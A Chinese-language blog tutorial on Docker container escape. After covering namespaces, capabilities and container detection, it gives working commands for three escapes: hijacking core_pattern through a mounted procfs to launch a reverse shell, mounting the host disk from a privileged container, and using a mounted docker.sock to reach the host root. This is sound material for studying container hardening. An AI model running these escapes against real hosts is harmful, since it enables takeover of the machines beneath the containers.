Container Escape
本文最后更新于2 天前,其中的信息可能已经过时,如有错误请发送邮件到jingqueya@gmail.com

本文仅作于学习,请不要用于生产环境,否则后果自负

Linux内核安全机制

#Namespace–>内核命名空间

namespace是Linux的一种内核特性,这个特性可以将各个系统的资源进行隔离,每一个被隔离的单独部分都没称为一个namespace,这样每一个namespace看起来都是在独立环境中单独运行的。

namespace实现了容器容器容器宿主机之间的环境隔离;namespace被分为以下的几种类型:
1、PID namespace:使得每个进程都有一个独立的进程ID,进程只能看到相同namespace下的其他进程。
2、User namespace:使得不同namespace下的进程可以有不同的用户和用户组ID,进程只能对相同namespace下的用户进行权限管理。
3、Mount namespace:使得每个namespace可以有独立的挂载点和文件系统层次结构,进程只能看到相同namespace下的文件系统。
4、Network namespace:使得每个namespace有独立的网络设备、IP地址、端口等网络资源,进程只能访问相同namespace下的网络资源。
5、UTS namespace:使得每个namespace有独立的主机名和域名,进程只能访问相同namespace下的主机名和域名。
通过不同的namespace实现了资源之间的隔离。

#Cgroups–>控制组

Cgroups实际上就是内核中附加的hook,在程序运行的过程中,内核会根据不同程序对于资源的请求去触发相应的hook,以实现对资源的追踪和限制。

#Capabilities–>权能

Capabilities是Linux在内核2.2之后引入的一种细粒度权限控制机制,它将root权限进行了多重拆分,使得最小化权限得以实现。

容器环境信息收集

#cgroup信息查询

cat /proc/1/cgroup

/proc/1/cgroup 是一个虚拟文件,用来查看 PID 为 1 的进程(系统或容器的 init 进程)所属的 cgroup(控制组)层级信息。

在容器安全的场景中,它最重要的作用是 快速判断当前是否处于容器环境内,以及识别容器使用的运行时(Docker、containerd、Podman 等)。除此之外还能判断当前容器是否在Kubernets的环境中

没使用 Kubernetes 的 docker 容器,其 cgroup 信息长这样:

5:hugetlb:/docker/f904ce4cc3834023f7e074ed582957859450e85c083f1c9922390d39126058e9

而Kubernetes 默认的,长这样:

12:hugetlb:/kubepods/burstable/pod45226403-64fe-428d-a419-1cc1863c9148 /e8fb379159f2836dbf990915511a398a0c6f7be1203e60135f1cbdc31b97c197

当然这个也不能直接作为判断是否在docker容器中的依据,在高版本的docker中,进程也可能直接运行在容器(containerd)环境下,后续的复现中我会提到。

#.dockerenv文件

ls -alh / | grep dockerenv

.dockerenv本质上,当 Docker 创建一个新容器时,会在容器根目录(/下自动生成这个文件,作为环境变量传递的一个标记。虽然现在它通常是个空文件,但其存在本身就是为了方便识别容器环境

宿主机:

容器内:

#磁盘信息查询

fdisk -l

通过对磁盘信息的查询可以判断当前是否在容器环境中,在容器环境下一般是不存在磁盘信息的。

宿主机:

容器:

容器逃逸复现

#挂载宿主机procfs逃逸

tips:本文章所有实验使用的docker版本为29.1.5,容器的系统环境为ubuntu:18.04或者ubuntu:22.04

procfs(Process File System),这是一个虚拟文件系统,它是由内核在内核中创建的一个内核数据接口,它动态反映了系统内进程以及其他组件状态,这其中也包含了许多比较敏感的文件,因此当宿主机的procfs挂载到不受控的容器时,特别是在默认启用root权限,没有使用User Namespace的容器中,就恒容易出现问题。

这里面还会涉及到一个文件core_pattern

/proc/sys/kernel/core_pattern 是 Linux 内核的一个参数文件,用于控制系统如何处理核心转储文件。当一个程序发生崩溃(如段错误)时,操作系统会生成一个包含程序崩溃状态的核心转储文件(决定了进程崩溃了之后应该执行什么操作),以便进行调试和故障排除。

环境启动:docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu:18.04

首先,我们需要对环境进行一个判断

fdisk -l 或者 ls -alh / | grep dockerenv

可以看到我们当前确实是处在一个容器当中

接下来就要对逃逸的类型进行一个判断,我们对core_pattern进行查询,如果能查到两个结果,那么大概率就是宿主机的procsf。

find / -name core_pattern

可以看到确实有两个结果,其中第一个是宿主机的第二个是容器的,也就是在启动容器时,宿主机的core_pattern映射到了容器的core_pattern

接下来我们需要找到docker在宿主机的绝对路径

cat /proc/mounts | xargs -d ',' -n 1 | grep -oP 'workdir=\K.*?(?=,|$)'

这个输出的就是我们在宿主机的绝对路径,这里也分为两种情况,在高版本的docker中,进程被允许运行在两种环境下,一种是如上图所示的容器环境(containerd),另一种是docker环境下,这个我们在之前提到过。

以下是docker环境下的输出:

/var/lib/docker/overlay2/a96c15fc172fbec0b7251a44e21408746afa9e9571202132618ed251db3a84a4/work

在后续的操作中,这两个有一个区别,就是接下来我们需要上传一个连接攻击机的脚本,你可以编写一个python脚本,也可以直接编写反弹shell,然后将文件上传到容器中的/tmp目录下。

虽然python的体验会更好,但我所使用的实验环境下没用安装python环境,所以我们就直接使用反弹shell来做。

然后对其进行赋权(tips:如果没有#!/bin/bash,那么系统会将其理解为去执行一个叫bash -i /dev/tcp…….的文件,显然是不存在这个文件的,所以会导致没办法实现反弹shell)
要完成容器逃逸就要借助我们之前提到的core_pattern这个参数文件,我们知道,当进程崩溃时就会执行这个参数文件,所以我们需要将我们刚才写入的反弹shell文件去覆盖core_pattern,然后我们再主动去触发进程崩溃,这样我们就能够在触发进程崩溃后实现反向连接,为了实现逃逸,所以我们需要使用当前文件在宿主机上的位置去实现覆盖。

这里就要提到刚才我们说到的当前环境的问题,如果我们是在containerd的环境下,我们之前写入的文件就在/work的上级目录下的/fs/tmp中,如果是在docker的环境下,那么文件就在/work的上级目录的/merged/tmp目录下。

echo -e '|/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/35/fs/tmp/connect \ncore' > /host/proc/sys/kernel/core_pattern

在覆盖core_pattern文件后,就需要开启监听相应的端口,并且主动触发进程崩溃。这里也给出两个方法:

kill -SIGSEGV $$

或者:

#include<stdio.h>
using namespace std;

int main(void){
      int *a = NULL;
      *a = 1;
      return 0;
}

如果选择使用c++,那么就需要使用gcc对其进行编译(tips:这里要注意你的所攻击的容器的架,打个比方,我所使用的电脑是arm64位的,自带的gcc也是arm64的,但是本次实验环境是x86的,所以我们就需要x86的gcc去编译文件)

x86_64-linux-musl-gcc -static -o docker docker.cpp

如果我们是用的c++的,就还需要把文件上传到容器中(这里我将文件编译为doker1)

可以看到我们这比那已经将文件下载到了容器的更目录下,但是还没有执行权限,所以需要对其进行赋权。然后我们需要开启对应的端口监听并执行该脚本。

直接运行

可以看到我们已经连接上了目标,接下来我们来看看我们在哪

由此判断出我们现在是在宿主机上(这里要解释一下,之前右边的窗口也是我通过反弹shell连接到我的攻击机上的,意在模拟拿到容器shell之后该如何操作,可以看到由于我们主动触发了进程崩溃,所以右边的窗口中会话已经断开)

#Priviliged 特权模式容器逃逸

–priviliged后会导致容器的root和宿主机的root权限相同,导致权限隔离实效,从而导致容器逃逸。

环境启动:docker run –rm –privileged=true -it ubuntu:18.04

首先,我们还是要先对容器内部的信息进行收集

可以看到我们当前是处在容器环境下的,这里就要提到一个问题了,在本文的最开始我们提到了一般情况下我们在容器环境下查看磁盘信息是不会有输出的,但是在特权模式下我们就能在容器内部查看到磁盘信息。

所以说,我们判断是否在容器内部的时候还是推荐使用:ls -alh / | grep dockerenv
当然,鉴于这种特性,在容器环境下查看磁盘信息也可以用于甄别容器是否是特权模式下的一种方式

当然,相对于这种方式,这里更推荐使用另一个方式:

cat /proc/self/status | grep CapEff
  • /proc/self/:Linux 的虚拟文件系统。self 是一个符号链接,始终指向正在执行命令的那个进程自己(也就是 cat 的进程)。换成数字的话就是 /proc/[PID]/status
  • status进程状态文件,包含进程的各类信息(名字、内存、权限等)。
  • grep CapEff:从 status 中筛选出 CapEff 这一行。CapEff 的全称是 Capability Effective,即当前进程的有效能力位图

#CapEff:

Linux 把 root 超级权限拆成了 40 多个细粒度“能力”,比如:

  • CAP_SYS_ADMIN:执行一系列系统管理操作(包括 mount
  • CAP_NET_RAW:使用原始套接字(如 ping
  • CAP_SYS_PTRACE:调试其他进程

CapEff 显示的就是当前进程到底真正拥有哪些能力,用 16 进制位掩码表示。

在一个–privileged容器中,您大概能看到以下输出:

cat /proc/self/status | grep CapEff
CapEff: 000001ffffffffff

将后面的十六进制转化为二进制,从左往右每一位都代表了一个“能力”,并且如果该位为1,则代表拥有能力

1fffffffff 这种几乎全满的值,说明是全能力集,在容器里能执行的危险操作包括:

能力标志对应操作与逃逸的关系
CAP_SYS_ADMIN允许 mountswapon 等挂载宿主机磁盘的核心能力
CAP_SYS_MODULE允许加载内核模块可注入更底层的 rootkit
CAP_SYS_PTRACE允许 ptrace 其他进程可注入宿主机上的其他进程
CAP_NET_RAW原始网络访问可进行网络嗅探与伪造
CAP_MKNOD创建设备节点可在容器内创建 /dev/ 下的设备并访问

如果 CapEff: 0000000000000000,那就是几乎没有任何特殊权限的普通进程。

本次使用挂载逃逸的方式来掩饰,它需要有CAP_SYS_ADMIN“能力”,而它在21位

来看看本次实验的输出

这里我们可以通过创建一个空文件夹,然后将文件系统载到我们创建的空文件下,这里我们就还是需要使用:fdisk -l

我们需要找到这个文件

可以看到这个文件就是/dev/sda3

所以我们直接创建一个空文件,然后将其这个文件系统挂载到我们的空目录下:

mkdir escape

可以看到我们创建了一个目录,我们先来看看这个目录

可以看到这就是一个空目录,什么都没有,接下来我们对他进行挂载逃逸操作

可以看到在挂载后马上就有文件了,并且这个就是宿主机的文件,接下来的话就可以写一个计划任务或者操作一下别的文件达到逃逸效果,比如crontab config file, /root/.ssh/authorized_keys, /root/.bashrc 等文件。

#Docker Socket挂载逃逸

#Docker Socket:

socket本质上就是进程之间通信的一种方式

  • 网络 Socket:像打电话(IP地址+端口号)
  • Unix Socket:像对讲机(文件路径)

Docker Socket就是Docker引擎的Unix套接字文件,用于与Docker守护进程(Docker daemon)进行通信。Docker守护进程是Docker引擎的核心组件,负责管理和执行容器。Docker Socket允许用户通过基于RESTful API的请求与Docker守护进程进行通信,以便执行各种操作,例如创建、运行和停止容器,构建和推送镜像,查看和管理容器的日志等。

环境启动:docker run -itd –name docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu:22.04

首先我们还是要对环境进行一下信息收集

可以看到我们目前是处在容器内的,接下来就不饶圈子了,针对这种逃逸种类我们可以直接使用以下命令来判断:

ls -alh /var/run/docekr.sock

/var/run/docker.sock:该文件是Docker守护进程坚挺的Unix套接字,是Docker API的主要入口点,这个文件一般情况下只有rootDocker组成员可以访问

现在我们该如何逃逸呢?∠(´д`)
我们可以选择内嵌docker并且挂载宿主机的形式去实现容器逃逸

关于内嵌docekr这一点,如果你所攻击的目标是不出网的,那么就自己上传上去一个docker,如果可以的话就直接下载一个docker

可以看到当前容器内部是没有docker的,接下来我们通过apt下载一个docker

可以看到我们已经在容器内部安装了一个版本为29.1.3的docekr

接下来我们就需要在当前的容器中再起一个新的容器,并且把宿主机的根目录挂载到这个新容器里面

docker run -i -v /:/escap ubuntu:22.04 /bin/bash

这里解释一下,虽然一般情况下我们启动容器都会加-t参数,但是在容器嵌套的情况下是不支持TTY的,这会导致我们在观感上会差一些,因为它会少了类似于$或者#之类的提示符,但是并不影响我们使用。

这样我们就已经成功一半了,虽然看起来像是卡了,但之前说过这里不支持TTY所以是正常的,随便来点命令看看。

可以看到我们当前仍旧是在容器环境下的,我们刚才不是把宿主机的更目录挂载到/escap了吗,所以接下来我们需要把/escap切为更目录

chroot /escap

到此我们就已经完成了逃逸,我们来看看效果

可以看到确实已经出来了,如过你觉得看起来不是很舒服的话可以再写一个反弹shell重新接管宿主机

To Be Continued…….

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇